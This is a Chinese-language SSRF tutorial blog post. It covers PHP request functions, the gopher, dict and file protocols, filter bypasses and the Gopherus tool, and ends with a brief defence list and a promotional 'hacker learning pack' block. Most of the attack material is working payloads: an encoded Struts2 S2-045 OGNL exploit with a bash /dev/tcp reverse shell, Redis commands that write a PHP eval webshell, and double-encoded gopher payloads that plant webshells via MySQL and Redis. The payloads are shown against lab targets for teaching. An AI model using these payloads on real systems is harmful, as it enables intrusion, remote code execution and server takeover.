文章目录
- 简介
- 相关函数
-
- file_get_contents()
- fsockopen
- curl_exec
- 常用协议
-
- Gopher
-
- 使用gopher伪装成浏览器发送GET与POST请求
- 使用gopher协议反弹shell
- file
- Dict协议
-
- 利用dict协议-攻击redis
- 攻击方式
- 漏洞的可能出现点
- 实战
-
- ssrf-curl
- ssrf-fgc
- 绕过
- Gopherus工具的使用
-
- 攻击无密码的mysql
- 攻击Redis
- 防御
简介
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。但是由于服务器请求天然的可以穿越防火墙,所以如果一台能被外网所访问的服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向内网某服务器发起请求,达到攻击内网的目的。
简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

漏洞形成原理:
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。攻击击者可以利用该漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。
相关函数
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
file_get_contents()
file_get_contents()函数是PHP中一个用于读取文件内容的函数,它可以从一个文件中读取内容并返回该文件的内容字符串。 以下是file_get_contents()函数的语法:
string file_get_contents(string $filename, bool $use_include_path = false,resource $context = null, int $offset = 0, int $maxlen = null)
参数说明:
$filename :要读取的文件的名称,可以是本地文件或远程文件的 URL 。
$use_include_path :可选参数,默认为 false 。如果设置为 true ,则会在 include_path 中查找文件。
$context :可选参数,通常不需要使用。可以使用 stream_context_create() 创建的上下文资源来控制
file_get_contents() 的行为。
$offset :可选参数,默认为 0。从文件开始读取的字节数偏移量。
$maxlen :可选参数,默认为 null 。要读取的最大字节数。
示例:
// 从本地文件中读取内容
$file_contents = file_get_contents("./demo.txt");
// 从远程文件中读取内容
$url_contents = file_get_contents('http://example.com/');
在这个例子中,file_get_contents()函数从名为example.txt的本地文件中读取了内容,并将其保存在$file_contents变量中。它还从名为 http://example.com/ 的远程文件中读取了内容,并将其保存在$url_contents变量中。
利用点:可以从远程文件读取内容,相当于可以对内部的地址发起攻击的访问请求
fsockopen
fsockopen()函数是PHP中一个用于创建网络套接字连接的函数,可以用于连接到远程服务器并与其通信。它允许PHP脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。
resource fsockopen(string $hostname, int $port = -1, int &$errno = null, string &$errstr = null, float $timeout = null)
参数说明:
$hostname :要连接的主机名或 IP 地址。
$port :可选参数,默认为 -1 。要连接的端口号。如果未指定端口,则使用默认端口。
$errno :可选参数,默认为 null 。如果连接失败,则返回错误代码。
$errstr :可选参数,默认为 null 。如果连接失败,则返回错误消息。
$timeout :可选参数,默认为 null 。连接超时时间,以秒为单位。如果在指定的时间内无法建立连接,则函数返回 false 。
示例:
<?php
$socket = fsockopen('www.baidu.com', 80, $errno, $errstr, 30);
// 与www.baidu.com:80建立连接
if ($socket) {
// 连接成功
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: www.baidu.com\r\n";
$request .= "Connection: Close\r\n\r\n";
// $request此时构造了一个http的请求头,想要请求www.baidu.com的/路径内容
fwrite($socket, $request);
// 将构造好的http请求头发送给$socket建立的连接
while (!feof($socket)) {
// 当$socket拿到的回复没有取完
$response .= fgets($socket, 1024);
// 每次读取1024字节,拼接到$response变量上
}
fclose($socket);
echo $response;
} else {
// 连接失败
echo "Error $errno: $errstr";
}
?>
在这个例子中,fsockopen()函数连接到example.com的默认HTTP端口(80)。然后,它发送一个HTTP GET请求,并使用fwrite()写入套接字。接下来,使用fgets()读取从服务器返回的响应,直到收到EOF。最后,使用fclose()关闭套接字,并将响应输出到屏幕上。
curl_exec
curl_exec()函数是 PHP 中一个用于执行 cURL 会话的函数,可以用于发送 HTTP 请求并获取响应。它允许 PHP 脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。
以下是curl_exec()函数的语法:
mixed curl_exec(resource $curl)
$curl :cURL 句柄,使用 curl_init() 创建。
示例:
<?php
// 初始化 cURL 句柄
$curl = curl_init();
// 设置 cURL 选项
curl_setopt($curl, CURLOPT_URL, 'http://www.baidu.com/');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 会话
$response = curl_exec($curl);
// 关闭 cURL 句柄
curl_close($curl);
// 输出响应
echo $response;
?>

在这个例子中,curl_exec()函数使用cURL句柄$curl执行HTTP GET请求,并返回服务器的响应。使用curl_setopt()函数设置cURL选项,例如请求的URL和返回数据的格式。最后,使用curl_close()函数关闭cURL句柄,并将响应输出到屏幕上。
常用协议
Gopher
Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它 但是,在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛,利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,并可以构造发送GET,POST请求包。 也就是利用Gopher协议可以通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包。
其实现在开发的时候都会将这个协议给禁用掉,但是跟这个协议同一个年代出来的比如php,java,python都默认支持gopher。
gopher://<host>:<port>/<gopher-path>_后面接TCP数据流
利用要点
- PHP版本大于等于5.3
- PHP.ini开启了php_curl
- gopher没有默认端口,需要指定:gopher://127.0.0.1:80
- gopher后面的TCP数据流默认第一个字符不生效,所以加一个_
- 在传送GET或POST数据时需要经过URl编码
- url编码时回车换行需要使用%0d%0a替换%0a
- 如果是在利用SSRF漏洞,那GET或POST数据时需要经过两次URl编码
- POST中的&也需要url编码%26。
- 问号(?)需要转码为URL编码,也就是%3f
- 在HTTP包的最后要加%0d%0a,代表消息结束
利用方式
使用gopher伪装成浏览器发送GET与POST请求
首先准备一个测试代码
<?php
echo "<h1>Hello " . $_REQUEST['name'] . "</h1><br>";
?>
可以直接在主机上用phpstudy快速建站。

然后准备一个GET型的HTTP包
GET /test/test.php?name=gopher HTTP/1.1
Host: 192.168.0.12:18080
URL编码后为:
curl gopher://192.168.0.12:18080/_GET%20/test/test.php%3fname=gopher%20HTTP/1.1%0d%0aHost:%20192.168.0.12:18080%0d%0A
效果如下:

当然也可以发送POST包
POST数据包的格式(如下4个参数为POST数据包的必要参数)
POST /test/test.php HTTP/1.1
Host: 192.168.0.12:18080
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
name=gopher
进行URL编码:
curl gopher://192.168.0.12:18080/_POST%20/test/test.php%20HTTP/1.1%0d%0AHost:%20192.168.0.12:18080%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2011%0d%0A%0d%0Aname=gopher
效果如下:

使用gopher协议反弹shell
Gopher协议还可以用于反弹Shell。直接拿著名的Struts2-045漏洞反弹shell为例子。
靶场地址:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-045/README.zh-cn.md
启动后通过http://youe_ip:8080访问

以下为S2-045漏洞反弹shell的利用代码,我们在另一台虚拟机上执行:nc -lvp 2333
GET / HTTP/1.1
Host: 192.168.45.128:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.45.129/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

我们需要将图中蓝色部分进行URL编码并且将%0a替换成%0d0a,其余部分进行URL全编码最后结尾加上%0d%0a。
编码后的payload为:
curl gopher://192.168.45.128:8080/_GET%20%2F%20HTTP%2F1.1%0d%0AHost%3A%20192.168.45.128%3A8080%0d%0AContent-Type%3A%%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%35%2e%31%32%39%2f%32%33%33%33%20%30%3e%26%31%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a
发送payload:

然后去看nc监听日志

可以发现成功反弹Shell。
当然我们还可以利用存在SSRF漏洞的服务器当踏板,来攻击内网,让内网的机器反弹Shell回来。这里便不再演示了,需要注意的是这个时候的payload需要经过两次URL编码,因为经过踏板服务器的时候会URL解码一次,我们payload的目标是内网的机器。
file
File协议是一种用于访问本地文件系统的URI协议,它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件,如果存在ssrf漏洞的主机挂载了一些内网的资源,就可以借助ssrf漏洞访问内网的资源了 File协议的格式通常如下所示:
file:///path/to/file
如下的url就可以访问ssrf漏洞的主机本地的文件
curl http://192.168.173.88/?url=file:///etc/passwd
Dict协议
Dict协议是一种用于在互联网上查询字典和词典的URI 协议。它通常用于查询特定词汇的定义、拼写或同义词等相关信息。Dict 协议使用 TCP 端口 2628 进行通信。 Dict协议的URI格式通常如下所示:
dict://<hostname>:<port>/<database>/<strategy>:<word>
<database>表示所要查询的词典名称,<strategy>表示查询策略,<word>表示要查询的词汇。
编写一个测试代码
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
dict协议最常见的用法之一便是可以对内网IP地址扫描,在发现对应的端口之后,使用dict协议可以获取目标端口指纹。
http://192.168.0.12/?url=dict://10.3.0.11:22

dict协议还有别的很多用法,比如可以利用dict协议-攻击redis。
利用dict协议-攻击redis
由于我的虚拟机里都没有下redis环境,刚好ctfshow-web入门-web360就是redis。所以我就以它为例子了图个方便。
代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
redis:内存数据结构存储系统,性能高,处理速度快。默认端口为6379。
redis写webshell的方式:
config set dir /var/www/html/ #指定当前打开的目录
config set dbfilename webshell.php #指定当前打开的文件名称,没有则创建
set test "<?php @eval($_POST[cmd]);?>" #指定写入的内容
save #保存
具体操作如下:
首先利用dict协议读一下redis服务的指纹信息:
url=dict://127.0.0.1:6379/info

然后使用dict协议执行上面的写WebShell文件的redis命令:
第一步:
指定当前打开的目录
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html/
第二步:
指定当前打开的文件名称,没有则创建
url=dict://127.0.0.1:6379/config:set:dbfilename:muma.php
第三步:
指定写入的内容。注意,写入文件的内容需要使用十六进制编码:
即
\\n\\n<?php @eval($_POST[cmd])?>\\n\\n
\n\n 在这里起到了分隔符的作用,让自定义内容与 Redis 自身的文件格式信息区分开
编码为
\x5c\x5c\x6e\x5c\x5c\x6e\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x6d\x64\x5d\x29\x3f\x3e\x5c\x5c\x6e\x5c\x5c\x6e
payload为:
url=dict://127.0.0.1:6379/set:test:"\x5c\x5c\x6e\x5c\x5c\x6e\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x6d\x64\x5d\x29\x3f\x3e\x5c\x5c\x6e\x5c\x5c\x6e"
第四步:
保存
url=dict://127.0.0.1:6379/save
每一步执行完都会出现下图这种字样

其实都是执行成功了,不用理会报错。
然后我们可以用蚁剑连接或者直接访问命令执行

攻击方式
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息 攻击运行在内网或本地的应用程序(比如溢出) 对内网WEB应用进行指纹识别,通过访问默认文件实现 攻击内外网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2,sqli等) 利用file协议读取本地文件等
漏洞的可能出现点
(1) 分享功能:通过URL地址分享文章等,例如如下地址:
http://share.xxx.com/index.php?url=http://www.xxx.com
通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。
(2)图片加载/下载:通过URL地址加载或下载图片:
http://image.xxx.com/image.php?image=http://www.xxx.com
图片加载存在于很多的编辑器中,编辑器上传图片处加载设定好的远程服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。
(3)图片/文章收藏功能:
http://title.xxx.com/title?title=http://title.xxx.com/xxx
例如 title参数是文章的标题地址,代表了一个文章的地址链接,如果收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。
(4)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
(5)在线翻译:给网址翻译对应网页的内容。
(6)邮件系统:比如接收邮件服务器地址。
(7)利用参数中的关键字查找。
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……。可以利用google语法加上这些关键字去寻找SSRF漏洞。
实战
ssrf-curl
例题:ctfshow-web351
可以自己将代码部署在本地测试
使用curl
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
- 读取任意文件
url=file:///etc/passwd

- 还可以内网探测
url=http://ip:22
ssrf-fgc
使用file_get_contents:
<?php
if (isset($_POST['file'])) {
$file = $_POST['file'];
$content = file_get_contents($url);
echo $content;
}
?>
file=php://filter/read=convert.base64-encode/resource=flag.php

绕过
- 攻击本机
http://127.0.0.1
http://localhost
http://127.1
http://0
127。0。0。1
以上这些都代表本机
- 利用@绕过
http://example.com@127.0.0.1
# 这里的example.com可以任意替换,
- 利用短地址绕过
http://127.0.0.1可以变为http://suo.im/5UHEvD
# 转换地址有很多,可以采用http://tool.chinaz.com/tools/dwz.aspx
- 特殊域名绕过
http://127.0.0.1.xip.io/
http://www.margin.com.127.0.0.1.xip.io/
- 利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
- 使用其他进制绕过,例如127.0.0.1
(1)、8进制格式:0177.0.0.1
(2)、16进制格式:0x7F.0.0.1
(3)、10进制整数格式:2130706433(转16进制,在转10进制)
(4)、16进制整数格式:0x7F000001
- 特殊域名绕过(DNS解析)
互联网上有很多解析到127.0.0.1的域名,例如:
safe.taobao.com
114.taobao.com
ecd.tencent.com
wifi.aliyun.com
一个专门解析到127.0.0.1的域名:localtest.me,也可以使用子域名。例如:
localtest.me
www.localtest.me
test.localtest.me
a.b.c.localtest.me
1234.localtest.me
- 302重定向绕过
在有公网IP的云服务器上创建一个test.php,内容如下:
<?php header("Location: http://127.0.0.1/flag.php", true, 302);?>
然后payload:
url=test.php所在地址
- 使用IPV6
有些服务没有考虑 IPv6 的情况,但是内网又支持 IPv6 ,则可以使用 IPv6 的本地 IP 如 [::] 0000::1 或IPv6 的内网域名来绕过过滤。
Gopherus工具的使用
Gopherus是Github上面的一个开源工具。这个工具生成 gopher 链接,用于利用 SSRF 并在各种服务器上获取 RCE。
工具地址:https://github.com/tarunkant/Gopherus
攻击无密码的mysql
如果用户没有密码保护,你可以转储他的数据库,并且还可以在他的系统中放置恶意文件。
gopherus --exploit mysql
如下图方式操作

由于一般是通过SSRF攻击攻击内网的mysql,所以会经过’踏板‘服务器。所以工具生成的payload我们还需要再进行一次URL编码。
提交payload为:
url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
最终效果就是在网站根目录下创建了一个木马文件。
攻击Redis
如果 Redis 端口开放,我们可以覆盖系统中的文件,这非常危险。
工具提供了两种方案:
- 反弹Shell
- PHPShell 也就是写入WebShell木马
这里我以PHPShell为例子
操作如下图:

生成的木马文件名为shell.php。
生成的payload也需要再进行一次URL编码。
提交的payload:
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
最终效果也是在网站根目录下创建了一个木马文件。
这个工具还有很多功能,可以生成很多种载荷的payload,可以自行研究。
防御
1、禁止跳转
2、禁用除http和https外的协议,如:file://、gopher://、dict://等。
3、限制请求的端口为http常用的端口,如 80、443、8080。
4、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
5、对请求地址设置白名单或者限制内网IP,以防止对内网进行攻击。

黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取


被折叠的 条评论
为什么被折叠?



